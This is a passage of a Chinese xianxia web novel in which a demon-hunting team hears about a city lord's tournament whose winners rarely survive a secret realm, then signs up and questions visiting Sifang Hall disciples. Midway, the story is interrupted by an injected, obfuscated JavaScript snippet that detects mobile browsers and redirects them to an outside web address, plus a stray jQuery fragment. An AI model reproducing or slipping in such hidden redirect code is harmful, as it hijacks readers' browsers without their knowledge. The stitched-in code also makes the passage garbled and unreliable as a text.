其他几人心下明了,点点头。
“声声,你呢?”南之木问道。
步虚声看起来有些困惑,犹疑道:“进了上南镇后,我总觉得有一种熟悉的力量牵引着我,但那感觉不太明显,我也说不上来。”
“声声的感觉从来没错过,大家这几日都多注意周围。”方喜忧有些担心道。
几人一时沉默下来。
希音嘴角勾起一个弧度,看向正端着盘子吃点心的杏桃花。其余几人也顺着他的目光看了过去。
杏桃花感知到大家的目光,有些心虚地抬起头。
“我、我吗?”
南之木笑着点点头,“说说看。”
杏桃花擦擦嘴巴,认真想了想后,支支吾吾道:“我、我闻见了荔枝膏和玫瑰酥的味道,就在花孔雀哥哥说的四方馆弟子那一桌。嗯……那玫瑰花香浓郁、荔枝清甜,嘿嘿,一定很好吃……”
官浔白了她一眼,“我说小桃花,你能不能别整天都只想着吃啊?”
其他几人也是哭笑不得。
这时门口传来敲门声,原来是阿福带着伙计将晚膳端了进来。
待布菜完毕,阿福摆摆手让其他伙计先出去了。
“方才阿爹同我说几位客官有想要打听的消息,我们客栈的房间隔音可好了,几位客官尽管问。”他嘿嘿一笑道。
希音勾勾嘴角,“你倒是个会来事儿的。”
阿福不好意思地摸了摸头,“不瞒您说,这上南镇人来人往的,什么人都有。不是我自夸,我阿福也算得上聪明伶俐。”
南之木笑道:“阿福,我且问你,这上南镇地处三国交界,周边村庄稀少,不过一座小城,怎得如此热闹?”
“客官有所不知。上南镇从前是派了官员管辖的,只是地处三国交界,许多事都不好管。后来三国商议后,上南镇就自己选出城主管辖,不受三国任何一国的管辖了。”
他反应过来还没回答南之木的问题,又接着道:
“现在的城主上任后,上南镇人才多起来了。这原因嘛——就是城主府每三年会举行一次比武选贤会。”
“比武选贤会?”希音思索道,“这胜者是能讨着什么好彩头,竟然能让九道的众人都赶着来参加?”
阿福笑了笑,“这比武选贤会嘛也没什么新奇的,最后要选出三十位胜者呢。要说这好彩头,便是胜者能去秘境寻宝了。”
“三十位胜者秘境寻宝?”南之木皱眉道,“这事我倒从未听说过。”
阿福耸耸肩道:“客官不知道也不稀奇,因为每次进入秘境的三十人,至多能活着出来一两位,大多时候都没人能活着出来。”
“什么?”方喜忧惊愕道,“既然如此,为何大家都要争着去参加这个比武选贤会?”
“现任城主上任已有二十余年,这比武会也举办了七八次了。只是秘境寻宝是近十年才有的,据说能活着出来的人,后来无一不大富大贵。”
阿福意味不明地笑了笑,“客官一看就是金尊玉贵的碧落仙子,您是不知,为了能下半辈子无忧,就算只有一线机会,大家也会来争取的。毕竟,又有谁能肯定自己不是那个幸运儿呢?”
几人对视一眼。
“多谢你告诉我们这些,我们暂时没有什么要问的了,你先下去吧。”南之木礼貌地笑笑道。
阿福点头,要离开时又突然转过身,“明日是比武会的第三日,也是最后一日。几位客官若是有兴趣参加,明日去城主府门口,每人交上五钱报名费就好——哦对了,比武会是三人一组。”
“你们怎么看?”南之木皱眉道。
方喜忧碰碰他的手肘,“一会儿菜凉了,边吃边说吧。”
杏桃花眼睛一亮,立刻拿起筷子就开始往嘴里塞东西。
“这秘境寻宝肯定是不正常的,我看问题多半就出在那城主身上。”希音道。
“三十人基本全灭,那城主有没有可能也是魔君?”官浔思索道。
“如果是魔君,没道理还有人能活着出来。”南之木怀疑道。
“我曾在古籍上看见过,有些魔君以虐杀为乐,他们抓到人后并不吸食灵力,就只是满足自己变态的乐趣,往往还会留下几个活口放走。”步虚声道,“但留下的活口大富大贵这事还是很蹊跷。”
“我们找个法子与那城主见上一面不就得了。”希音随意道,“现在看来,去参加比武会应该是最有可能见到城主的法子。”
“那我们休息一晚,明日就去参加比武会。”南之木点点头道。
方喜忧想了想,开口道:“上南镇人多眼杂,咱们还是别暴露身份为好,特别是声声。还有小浔的乾坤印也最好别用,太引人注意了。”
南之木点点头道:“喜忧说的有道理,那明日就这样安排——”
“我、小桃花和小浔一组;阿音、声声还有喜忧一组。声声和小浔尽量不要出手。”
几人都没有异议。
希音打了个呵欠,“我困了,今晚咱们怎么睡?”
“床和软榻就让她们三个自己分配,罗汉床你和小浔挤一挤,我找掌柜再要一床被子和褥子,我打地铺。”南之木回道。
“床就喜忧姐和小桃花睡吧,我睡软榻。”步虚声柔声道。
“我不要和花孔雀一起睡,我要打地铺。”官浔言简意赅道。
“小浔,这个时候就不要耍小性子了,又没有多余的房间给你睡。”南之木皱了皱眉。
“老大,你就让他打地铺吧,咱俩一起睡。”希音语气带了笑,“你没看出来吗,这小子是心疼我俩一路赶车,想让你睡好些呢。”
官浔耳朵一红,嘴硬道:“谁说的,我就是不乐意和你一起睡而已。”
希音耸耸肩,“反正我要去睡觉了,赶了这么久的路累死我了。”
南之木笑笑,拍拍官浔的肩膀,“好了小浔,你还是去睡罗汉床吧,睡地上再染了风寒就不好了。”
其实官浔过了安梁郡就染上了风寒,还好他身体素质一向不错,过了几天就好得差不多了。
他此时听见南之木这话,也不好多说什么,瘪了瘪嘴,不情不愿地收拾去了。
第二日一早,几人就来到了城主府前。正如阿福所说,这里站满了来凑比武会热闹的人,几人好不容易才挤到了报名处。
“报名五钱。”那负责登记的小厮头也没抬。
南之木将三十钱放在桌上,又在登记簿上写下六人的名字。
“这位兄弟,我想问——”
“写完了就走,我可没功夫与你闲聊。”那小厮仍旧是没有抬头,冷声道。
“诶你这人什么态度?”杏桃花气不过,马上就要上前同他理论,被官浔及时拉了回来。
“老大,你看那儿。”希音努努嘴,示意南之木看向另一边。
南之木交代其他几人留在原地不要走动,与希音向那边走去。
“在下天阶诛魔队队长南之木,这位是我的队员希音。敢问几位可是四方馆弟子?”南之木开门见山道。
那几人被吓了一跳,互相推搡了一番后,一个年纪看起来稍大些的少年抱拳行了一个礼。
“昨日在客栈还以为是认错了,没想到真是南师兄和希音师兄。我们是四方馆朱雀司弟子,奉师门之命来上南镇巡查。”
“几位不必多礼。”南之木笑着将他扶起,又接着问道:“你方才说你们是前来巡查的,可有查到什么?”
那位弟子摇了摇头,“来上南镇巡查不过是四方馆例行公事,每次比武选贤会都会派弟子前来,与城主进行会谈。”
“那你们是见到城主了,他可有什么异常?”希音问道。
“回师兄,自然是见到了。只是这异常要从何谈起?比武选贤会也不是第一届举办了,正是城主府邀请四方馆前来巡查的。”那弟子有些疑惑道。
“那你们四方馆可知道参与秘境寻宝的那些人的下场?”南之木皱眉道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625911|203044||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那几位四方馆弟子对视一眼,小声道:“自然是知道的,但开放秘境寻宝并不违反九道盟的规矩。再说了,城主府每届比试之前都会特意强调秘境寻宝的危险,这就更摘不出错了。”
“我看你们馆主是年纪越大越糊涂了,这明摆着不对劲他还睁一只眼闭一只眼。”希音冷哼一声。
“这……”那弟子有些为难,不知道该如何回答。
“这位师弟,你们接下来如何打算?”南之木拍拍他的肩膀,宽慰道。
“我们照例检查了一圈,并没有发现什么异常,昨日也去见了城主,这就准备回四方馆复命了。”
南之木与希音对视一眼,沉思了片刻。
“你们回去后一定请四方馆的长老们亲自前往上南镇一趟,这地方和城主府不简单,务必将我说的话传达给四方馆长老们。”
那几位弟子点点头,将信将疑地走了。
“虽说朱雀司都是四方馆比较低阶的弟子,但到底是九道盟正统修士,连他们都没看出异常,这究竟是因为那位城主压根就不是魔族,还是因为其实力深不可测呢?”希音琢磨道。
南之木摇摇头,“看来还是要找机会与那位城主见一面才是。”
眼见着比武会就要开始了,希音点点头,准备去找步虚声她们。
南之木拉住他。
“你记住昨晚的话没?一会儿比试尽量不要让声声出手。”
希音笑笑,“老大,我的实力你还信不过吗?”
他一边说着,一边不由自主地看向步虚声的方向。就像是心灵感应般,步虚声感知到他的目光,朝他看来,浅浅地笑了笑。
许是步虚声她们四人气质太过出众,尤其是步虚声未加遮掩的容貌,引来周边不少人的目光——惊讶的、痴迷的、不怀好意的。万幸官浔不俗的穿着以及颇为明显的臭脸,让周围那些江湖人士都不敢上前搭讪。
希音低下头,不知怎么心里有些不是滋味。他明明知道步虚声根本不在意周围这些人的目光,也绝不会给他们接近自己的机会。但她仅仅是被人打量,就让他莫名烦躁起来。
就好似从前在传音楼,他收藏的珍贵布料首饰被师姐们围观点评时的心情。
他不喜欢。
他一惊,猛地回过神来。万幸南之木也不知道在想什么,没有注意到他在走神。
南之木轻咳一声,小声道:“还有喜忧……你不要——不要让她受伤……”
说到后面声音越来越小,罕见地看起来有些羞涩。
希音了然一笑,手攀上他的肩,两个人就这样勾肩搭背地回去了。
比武选贤会分三日举办,选出十组共三十位胜者。第一日与第二日各选出三组胜者,第三日因着前两日未获胜的人继续参加,加之还未参加比试的人也都赶来了,人数最多,因此第三日选出四组胜者。
比武会没有顺序和次数限制,累计胜五场即为最终获胜。这意味着,只要有人在场上,下面的人就可以自由选择是否上场进行挑战,只要赢了五场就拥有了进入秘境的资格。
当然,报名的人至少也需要参加一场比试,因此会根据名册,轮流叫人上场一次。
希音他们来得算比较早的,因此没等多久就被叫上场去了。
“走吧,声声、喜忧姐,一会儿让你们见识一下我的英姿。”希音伸了个懒腰,看起来颇为松弛地朝台上走去。
方喜忧从怀中掏出一方面纱,递给步虚声。
“声声,这里人多眼杂,还是带上为好。”
步虚声点点头,挽着方喜忧的手上台去了。
刚一上台,台下就议论纷纷,不少人都因为这组一位貌美男子和两位女子的组合而小声嘲笑。
希音叹了口气,朗声道:“有没有人想挑战我们啊,小爷的时间可是很宝贵的,你们早些输了早些回家呀。”
台下一声怒喝,“你这白面书生好生狂妄,就让你爷爷我来会会你。”